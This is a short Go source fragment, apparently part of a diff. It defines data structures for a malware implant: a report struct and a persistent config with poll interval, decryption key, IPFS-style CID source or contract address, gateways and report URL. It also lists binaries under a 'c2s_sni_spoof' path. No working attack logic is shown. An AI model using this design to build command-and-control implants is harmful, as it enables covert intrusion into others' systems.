type ImplantReport struct {
ImplantID string `json:"implant_id"`
CID string `json:"cid"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
Platform string `json:"platform,omitempty"`
Hostname string `json:"hostname,omitempty"`
Timestamp string `json:"timestamp"`
}
// Config holds the persistent implant configuration.
type Config struct {
ImplantID string `json:"implant_id"`
LastCID string `json:"last_cid"`
PollInterval int `json:"poll_interval"` // seconds
DecryptionKey string `json:"decryption_key"`
CIDSource string `json:"cid_source"` // URL or contract address
Mode string `json:"mode"` // "http" or "contract"
Gateways []string `json:"gateways"`
ReportURL string `json:"report_url,omitempty"`
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
}

BIN
c2s_sni_spoof/bin/client Normal file

Binary file not shown.

BIN
c2s_sni_spoof/bin/server Normal file

Binary file not shown.